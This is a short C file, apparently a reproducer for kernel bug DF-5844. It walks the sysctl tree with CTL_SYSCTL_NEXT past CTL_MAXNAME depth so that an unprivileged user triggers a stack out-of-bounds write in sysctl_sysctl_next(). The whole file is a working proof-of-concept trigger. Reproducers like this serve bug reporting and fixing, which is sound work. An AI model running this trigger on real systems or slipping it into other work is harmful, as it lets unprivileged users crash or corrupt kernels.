/*
 * trigger.c - DF-5844: unprivileged full-tree next-walk (sysctl -aN style).
 *
 * Repeatedly issues __sysctl({CTL_SYSCTL, CTL_SYSCTL_NEXT, <prev>...}).
 * When the walk enters a subtree nested deeper than CTL_MAXNAME (12),
 * sysctl_sysctl_next_ls()'s !namelen/recursive descent writes
 * *next = oid_number at newoid[level-1] for level > 12, past
 * int newoid[CTL_MAXNAME] on sysctl_sysctl_next()'s stack.
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>

int
main(void)
{
	int name[16];
	u_int namelen;
	int buf[CTL_MAXNAME];
	size_t len;
	int error, i, iter;

	name[0] = CTL_SYSCTL;
	name[1] = CTL_SYSCTL_NEXT;
	namelen = 2;

	for (iter = 0;; iter++) {
		len = sizeof(buf);
		error = sysctl(name, namelen, buf, &len, NULL, 0);
		if (error) {
			printf("walk finished after %d oids: %s\n",
			       iter, strerror(errno));
			break;
		}
		memcpy(name + 2, buf, len);
		namelen = 2 + (u_int)(len / sizeof(int));
		if (namelen > 14)
			namelen = 14;
	}
	return (0);
}
